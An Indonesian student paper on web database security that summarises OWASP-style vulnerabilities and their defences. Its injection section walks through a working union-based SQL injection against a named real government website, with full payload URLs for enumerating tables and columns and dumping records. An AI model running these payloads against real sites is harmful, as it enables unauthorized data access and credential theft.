Keamanan Data dan Jaringan Komputer (1)

KEAMANAN DATA DAN JARINGAN KOMPUTER

SISTEM SERVER APLIKASI PEMROGRAMAN WEB
DENGAN DATABASE

Disusun oleh :
Iman Budi D

(41187005120031)

M. Hibban Irsyad

(41187005120032)

Wahyu Aji S P

(41187005120009)

PROGRAM STUDI TEKNIK KOMPUTER
FAKULTAS TEKNIK
UNIVERSITAS ISLAM ’45 BEKASI


1. Web database
Web database merupakan suatu sistem untuk menyimpan informasi yang kemudian dapat
diakses melalui website. Sebagai contoh, sebuah komunitas online (online community)
mungkin memiliki database yang menyimpan informasi username, password, dan detail
informasi lain yang dimiliki semua anggotanya. Sistem database yang paling umum
digunakan di Internet adalah MySQL dikarenakan integrasinya dengan PHP (PHP merupakan
server side programming language yang paling banyak digunakan).
Pada tingkat yang paling sederhana, web database merupakan satu atau beberapa
kumpulan tabel yang berisi data. Masing-masing tabel memiliki field-field berbeda untuk
menyimpan berbagai jenis informasi. Tabel-tabel ini kemudian dapat saling dihubungkan
untuk memanipulasi data menggunakan cara-cara tertentu.
Web database dapat digunakan untuk berbagai tujuan. Sebagai contoh, content
management system (CMS) pada umumnya menggunakan web database untuk menyimpan
informasi seperti post, username, dan juga komentar.
Menggunakan database memungkinkan website dapat diupdate dengan mudah dan tanpa
perlu mengedit kode HTML untuk setiap halaman yang ingin diubah. Hal ini tidak hanya
merupakan suatu cara yang efisien dalam membuat dan mengupdate sebuah website, namun
juga membuat prosesnya lebih mudah diakses oleh orang-orang yang tidak terlalu memahami
bahasa pemrograman Internet.

Contoh lain di mana web database dapat digunakan adalah untuk suatu forum online.
Website forum seringkali membuat sebuah database dengan sejumlah tabel, termasuk satu
untuk pengguna, post, dan untuk pengaturan. Merupakan hal yang penting untuk mengatur
hubungan alias relationship di antara tabel, sehingga (misalnya) post dan pengguna dapat
dihubungkan secara lebih mudah
Dalam membuat website kita memerlukan beberapa software yang harus kita gunakan.
Karena tanpa adanya software tersebut kita akan mengalami kesulitan dalam membuatnya.
Ada beberapa jenis software yang perlu kita gunakan, ada software untuk membuat desain
sampai mengkoding software tersebut. Berikut jenis-jenis software yang harus kita gunakan
dalam membuat website :
1. Software Web Design
Software ini adalah sangatlah penting untuk membuat web desain. Ada beberapa software
yang sangat direkomendasikan dalam membuat desain website, seperti : Adobe Photoshop,
Xara Webdesain, Corel, dll. Dalam membuat suatu web desain tentunya tidaklah mudah
membutuhkan skill dan pengalaman. Karena dalam membuat suatu web desain kita harus
memperhatikan banyak sekali aspek mulai dari keindahan sampai tingkat kenyamanan user
dalam mengakses web kita.

2. Software Web Koding
Setelah kita mendesain web menggunakan software web desain, kita harus mengconvertnya

menjadi web yang siap digunakan. Dalam kasus ini kita memerlukan software untuk
menconvertnya. Banyak sekali software yang bisa digunakan, seperti : Microsoft Front Page,
Adobe Dreamweaver, Notepad++, NetBeans. Tapi jangan hanya mengandalkan software
tersebut, karena dalam menconvert menjadi web yang siap digunakan kita perlu mengetahui
syntax-syntax bahasa pemrograman. Untuk itu jika Anda tidak mengetahui bahasa
pemrograman web maka Anda akan merasa sangat kesulitan.
3. Software Web Mesin
Setelah kita menconvert menjadi HTML murni langkah selanjutnya kita akan membuat mesin
web tersebut. Kita membutuhkan software-software pendukung misalkan MySQL Service
untuk membuat database, Apache Service untuk mengakses PHP di Localhost. Semua
software-software tersebut kita bisa dapatkan dalam satu paket seperti XAMPP (favorit saya),
WAMP, dll.
Itu tadi software-software yang perlu kita gunakan dalam membuat suatu web. Tentunya
masih ada banyak software yang dapat kita gunakan. Tapi itu adalah software-software umum
dalam dunia web development.

Masalah keamanan
Open Web Application Security Project (OWASP) adalah project open source yang
dibangun untuk menemukan penyebab dari tidak amannya sebuah software dan menemukan
cara menanganinya ada 9 celah keamanan aplikasi web yang ditemukan dan rekomendasi

mereka tentang menangani sebagai sebuah standard keamanan minimal dari aplikasi web.
Berikut ini adalah 10 celah tersebut dan cara agar kita dapat mengatasi masalah tersebut.
I.

Unvalidated input

semua aplikasi web menampikan data dari HTTP request yang dibuat oleh user dan
menggunakan data tersebut untuk melakukan operasinya. Hacker dapat memanipulasi bagianbagian pada request (query string, cookle information, header) untuk membypass mekanisme
keamanan. Berikut ini tiga jenis penyerangan yang berhubungan dengan masalah ini:
a.

Cross site scripting

b.

Buffer overflow

c.

Injection flaws


II.

Broken Access Control

Banyak aplikasi yang mengkategorikan user-usernya ke dalam role yang berbeda dan level
yang berbeda untuk berinteraksi dengan content yang dibedakan dari kategori-kategori
tersebut, salah satu contohnya, banyak aplikasi yang terdapat user role dan admin role: hanya
admin role yang dijinkan untuk mengakses halaman khusus atau melakukan action
melakukan action administration.
Masalahnya adalah beberapa aplikasi tidak efektif untuk memaksa agar otomatis ini bekerja
contohnya, beberapa program hanya menggunakan sebuah chekpoint dimana hanya user yang
terpilih yang dapat mengakses: untuk proses lebih lanjut, user harus membuktikan dirinya
menjalankan pengecekan dari chek point sebelumnya: dimana apabila user berhasil melewati
halaman login, mereka dapat bebas menjalankan operasi.
Masalah lain yang berhubungan dengan access control adalah :
a.

Insecure Ids (Id Tidak aman) – beberapa site menggunakan id atau kunci yang
menunjukan kepada user atau fungsi. ID dapat juga ditebak, dan jika hacker dapat

mudah menebak ID dari user yang terautorisasi, maka site akan mudah diserang.

b.

File permissions- kebanyakan web dan aplikasi server percaya kepada external file
yang menyimpan daftar dari user yang terotorisasi dan resources mana saja yang dapat
dan/atau tidak dapat di akses. Apabila file ini dapat di baca dari luar, maka hacker
dapat memodifikasi dengan mudah untuk menambahkan dirinya pada daftar user yang
diijinkan.

Langkah –langkah apa saja yang dapat di lakukan untuk mengatasinya? Pada contohcontoh tadi, kita dapat mengembangkan filter atau komponen yang dapat di jalankan pada
sensitive resources, filter atau komponen tadi dapat menjamin hanya user yang terotorisasi
dapat mengakses. Untuk melindungi dari inseure Ids yang dapat memberi acess control,
pada masalah file permission, file-file tersebut harus berada pada lokasi yang tidak dapat
di akses oleh web browser dan hanya role tertentu saja yang dapat mengaksesnya.
III.

Broken Authentication dan session Management

Authentication dan session management menunjuk kepada semua aspek dari pengaturan

user authentifikasi management of active session, ini beberapa hal yang perlu di
perhatikan :
a.

Password strength-Aplikasi kita harus memberikan level minimal dari keamanan
sebuah password dan mendaftar: aplikasi tidak mengijinkan password dengan panjang
3-4 atau kata-kata simple yang dapat mudah ditebak oleh hacker.

b.

Password use –Aplikasi kita harus membatasi user yang mengakses aplikasi
melakukan login kembali ke sistem pada tenggang waktu tertentu. Dengan cara ini
aplikasi dapat dilindungi dari serangan brute force dimana hacker bisa menyerang
berulang kali untuk berhasil login ke sistem, selain itu, log in yang gagal sebaiknya
dicatat sebagai informasi kepada administrator untuk mengindikasikan kemungkinan
serangan yang terjadi.

c.

Password storage – password tidak boleh disimpan di dalam aplikasi. Password

harus disimpan dalam format terenkripsi dan disimpan di file lain seperti database
atau file password. Hal ini dapat meastikan bahwa informasi yang sensitif seperti
password tidak disebarkan ke dalam aplikasi.

Issue lain yang berhubungan: password tidak boleh dalam bentuk hardcode didalam source
code Session ID Protection – server biasanya menggunakan session Id untuk
mengidentifikasi user yang msauk kedalam session. Akan tetapi jika session ID ini dapat
dilihat oleh seseorang pada jaringan yang sama, orang tersebut dapat menjadi seorang
client.
Salah satu cara yang dapat digunakan untuk mencegah terlihat sessio ID oleh seseorang
pada suatu jaringan yang sama adalah menghubungkan komunikasi antara server dan
client pada sebuah SSL-protected channel.
IV Cross Site Scripting
Cross Site Script atau kependekannya XSS merupakan salah satu serangan injeksi code
(code injection attack). XSS dilakukan oleh penyerang dengan cara memasukan kode
HTML (HyperText Markup Language) atau client script code lainnya kesuatu situs.
Serangan ini akan seolah-olah datang dari situs tersebut akibat serangan ini antara lain
penyerang dapat mem-bypass keamanan disisi klkien, mendapat informsi sensitif, atau
menyimpan aplikasi berbahaya.
Alasannya kependekan yang digunakan XSS bukan CSS karena CSS sudah digunakan

untuk cascade syle sheet.
Cross site Scripting atau XSS memiliki Tipe XSS antara lain:
1.

Reflected XSS atau nonpersitent

Reflected XSS merupakan tipe XSS yang paling umum dan yang paling mudah dilakukan
oleh penyerang. Penyerang menggunakan social engineering agar tautan dengan kode
berbahaya ini diklik oleh pengguna. Dengan cara ini penyerang bisa mendapatkan cookie
pengguna yang bisa digunakan selanjutnya untuk membajak session pengguna.

Mekanisme pertahanan menghadapi serangan ini adalah dengan melakukan validasi input
sebelum menampilkan data apapun yang di-generate oleh pengguna. Jangan percaya
apapun data yag dikirim oleh pengguna.

2.

Stored XSS

Stored XSS lebih jarang ditemui dan dampak serangannya lebih besar. Sebuah serangan

stored XSS dapat berakibat pada seluruh pengguna. Stored XSS terjadi saat pengguna
diizinkan untuk memasukan data yang akan ditampilkan kembali. Contohnya adalah pada
message board, buku tamu, dll. Penyerang memasukkan kode HTML atau client script
code lainnnya pada posting mereka.
Serangan ini lebih menakutkan. Mekanisme pertahanannya sama dengan reflected XSS:
jika pengguna diizinkan untuk memasukkan data, lakukan validasi sebelum disimpan pada
aplikasi.
V

Injection Flows

Injection flaws,yaitu salah satu teknik hacking yang memanfaatkan celah keamanan pada
basis datanya. dan yang sering digunakan adalah SQL injection dengan memasukan perintahperintah SQL pada website yang lemah dalam membuat struktur basis data, akan
memudahkan bagi hacker untuk mendapatkan informasi pribadi, seperti strukur tabel basis
data, kolom-kolom yang terdapat pada tabel basis data tersebut, hingga isi record basis data
tersebut. sehingga hacker bisa mengetahui username atau id dan password admin pengelola
website tersebut.
SQL injection termasuk salah satu cara menembus celah keamanan yang sudah lama
diketahui, namum hingga saat ini masih banyak pemeintah Indonesia, salah satunya adalah
website milik salah satu instansi pemerintah di bawah kementerian Riset dan Teknologi

Republik Indonesia dengan alamat url : http://....go.id

Bagaimana sebuah website bisa diketahui memiliki kelemahan untuk di lakukan sql dengan
memasukan karakter- atau ` ke dalam halaman website yang memiliki karakter angka,
misalnya : http://drn.go.id/index.php?option=com_frontpage&catid=13 ,sehinga didapat error
page seperti gambar di bawah ini. Error SQL ini merupakan salah satu kelemahan dalam
membangun struktur basis data dalam mendefinisikan type data.

Error SQL yang terlihat, dapat dimanfaatkan untuk mengetahui nama database dan table-table
dalam databse tersebut yang digunakan sebagai basis data website ini.
Untuk mengetahui nama databasenya adalah dengan menambahkan sintak ‘ and 1=2 by
n`pada akhirnya alamat url, dimana n=12345,...,n dimasukan satu per satu nilai n tersebut,
sehingga error page berubah menjadi ‘unknown coloum’

Pada website ini error ‘unkown column’ yang ditemukan adalah mengetahui versi mysql dan
username administrator database, yaitu dengan memasukkan sintak `and 1=2 union select
version(), 2-`sehingga diketahui versi mysqlnya adalah versi 5.
Dan selanjutnya untuk mengetahui nama username dan databse pada website ini adalah
dengan mengganti sintak version (), menjadi databsse dan user (), contohnya adalah alamat
url berikut ini:
http://www.drn.go.id/index.php?option=isi&task=view&id=281+and+1=2+union+select+database(),2--&Itemid=2
Dan setelah nama databasenya, akan mudah untuk mengetahui nama tabel-tabel
pada database tersebut, adalah dengan memasukkan sintak `and 1=2 union select
group_concat

(table_name)

from

information_schema.tables

where

table_schema=database ()- `pad akhir alamat url, menjadi :
http://www.drn.go.id/index.php?option=isi&task=view&id=281+and+1=2+union+select+group_concat(table_name),2+from+information_schema.tables
+where+table_schema=database()--&Itemid=2
maka akan diketahui nama-nama tabel pada database tersebut seperti pada gambar dibawah
ini
Terlihat nama table-table pada database ini adalah agenda batas_orangjam, buku_alamat,
dimanam

direktori,

grup_pengguna,

direktori_url,

disposisi_surat,

hasil_jajak,_pendapat,

fasilitas,

ing_core_acl_aro,

file,tb,

forum,

grup,

ing_core_acl_aro_groups,

ing_core_acl_aro_sections,
ing_core_acl_group_aro_map,ing_core_log_items,ing_core_log_sear

Setelah mengetahui struktur tabel pada database ini, akan mudah untuk mengetahui nama
kolom-kolom pada tabel-tabel tersebut adalah dengan memasukkan sintak : `and 1=2 union
select

group_concat

(table_name)

from

information_schema.tables

where

table_name=mysqlchar(table_name)-, bagaimana mendapatkan nilai mysqchar adalah
dengan mengkonversi nama tabel menjadi bantuan sql pada localhost kita, nama tabel agenda
dikonversi menjadi char (97,103,101,110,100,97).
Sehingga alamat url menjadi : http://www.drn.go.id/index.php?option=isi&task=view&id=281%20and%201=0%20union%20select%20group_concat(column_name),2%20from
%20information_schema.columns%20where
%20table_name=CHAR(97,103,101,110,100,97)--&Itemid=2
maka diketahui, nama kolom pada tabel agenda adalah kode_agenda pemilik, judul,
tipe, tgl_mulai, waktu_mulai, waktu_selesai, kode_pengulangan, kode_undangan,
deskripsi, tgl_dibuat, tgl_diubah, sharing_publik, sifat_sharing, undang_via_email,
undang_via_sms.
Terakhir untuk mengetahui isi dari kolom-kolom tersebut adalah dengan memasukkan
sintak `and 1=2 union select group_concat(nama_kolom0x3a,nama_kolom
lainnya) from nama_tableSehingga url menjadi :
http://www.drn.go.id/index.php?option=isi&task=view&id=281+and+1=2+union+select+group_concat(kode_agenda,0x3a,pemilik,0x3a,judul,0x3a,tipe,
0x3a,tgl_mulai,0x3a,waktu_mulai,0x3a,waktu_selesai,0x3a,kode_pengulangan,0x3a,kode_u
ndangan,0x3a,deskripsi,0x3a,tgl_dibuat,0x3a,tgl_diubah,0x3a,sharing_publik,0x3a,sifat_shar
ing,0x3a,undang_via_email,0x3a,undang_via_sms),2+from+agenda--&Itemid=2

Maka selanjutnya sql injection inid apat dimanfaatkan oleh orang yang tidak
bertanggung jawab untuk mengetahui nama username dan administrasi untuk login
sebagai administrator website ini.
VII Insecure storage
Aplikasi web biasanya perlu menyimpan informasi yang sensitif seperti password,
informasi kartu kredit, dan yang lain. Dikarenakan item-item tersebut bersifat
sensitif item-item tersebut perlu dienkripsi untuk menghindari pengaksesan secara
langsung. Akan tetapi beberapa metode enkrips lemah dan masih bisa diserang.
Berikut ini beberapa kesalahan yang sering terjadi :

 Kesalahan untuk mengenkripsi data penting.
 Tidak amannya kunci, certificate, dan password
 Kurang amannya tempat penyimpanan data
 Kurangnya perhitungan dari rekomendasi


Kesalahan pemilihan algoritma



Mencoba untuk menciptakan algoritma enkripsi yang baru.

Berdasarkan skenario berikut ini : Terdapat sebuah aplikasi, dimana terdapat
password pada user object. Akan tetapi, aplikasi menyimpan user objek ke dalam
session setelah user login. Permasalahan yang akan muncul pada skenario ini adalah
password dapat dilihat oleh seseorang yang dapat melihat session user tersebut.
Salah satu cara yang dilakukan untuk menghindari kesalahan penyimpanan
informasi yang sensitif adalah : tidak membuat password sebagai atribut dari kelas
yang mewakili informasi user; Daripada mengenkripsi nomor kartu kredit dari user,
akan lebih baik untuk menanyakannya setiap kali dibutuhkan.
Selain itu, menggunakan algoritma enkripsi yang sudah ada akan lebih baik daripada
membuat algoritma sendiri. Anda cukup memastikan algoritma yang akan digunakan
telah diakui oleh public dan benar-benar dapat dilaksanakan.
VIII

Deniel of Service

Deniel of Service merupakan serangan yang dibuat oleh hacker yang mengirimkan
request dalam jumlah yang sangat besar dan dalam waktu yang bersamaan.
Dikarenakan request-request tersebut, server menjadi kelebihan beban dan tidak
bisa melayani user lainnya.
Serangan DoS mampu menghabiskan bandwidth yang ada pada server. Selain itu
dapat juga menghabiskan memory, koneksi database, dan sumber yang lain.
Pada umumnya sangat sulit umtuk melindungi apliksi dari serangan ini. Akan tetapi
masih ada cara yang dapat dilakukan seperti membatasi resource yang dapat di
akses user dalam jumlah yang minimal. Merupakan ide/cara yang bagus untuk
membuat load quota yang membatasi jumlah load data yang akan diakses user dari
sistem.
Salah satu contoh adalah pada implementasi bulletin board : adanya pembatasan
user pada ssaat melakukan search, dimana operasi ini hanya dapat dilakukan setiap

20 detik. Dengan cara ini dapat dipastikan bahwa user tiadk bisa menghasbiakan
koneksi dari database.
Solusi yang lain adalah mendesain aplikasi web dimana user yang belum
terotorisasi hanya memiliki akses yang sedikit atau tidak memilki akses ke content
web yang berhunbungan dengan databse.
IX Insecure Configuration Management
Biasanya kelompok (group) yang mengembangkan aplikasi berbeda dengan
kelompok yang mengatur hosting dari aplikasi. Hal ini bisa menjadi berbahaya,
dikarenakan keamanan yang diandalkan hanya dari segi aplikasi : sedangkan dari
segi server juga memiliki aspek keamanan yang perlu diperhatian, Adanya
kesalahan dari konfigurasi server dapat melewati aspek keamanan dari segi aplikasi.
Berikut ini adalah kesalahan konfigurasi server yang bisa menimbulkan masalah :

 File-file backup atau file contoh (sample dile), file-file script, file
konfigurasi yang tertinggal/tidak perlu.



Hak akses atau file yang salah.
Adanya service yang seperti remote administration dan content
management yang masih aktif.



Penggunaan default account dan default password.



Fungsi administrative atau fungsi debug yang bisa diakses.



Adanya pesan error yang informatif dari segi teknis.



Kesalahan konfigurasi SSL certificate dan setting enkripsi.



Penggunaan self-signet certificates untuk melakukan autentikasi.



Penggunaan default certificate.

 kesalahan autentifikasi dengan sistem eksternal.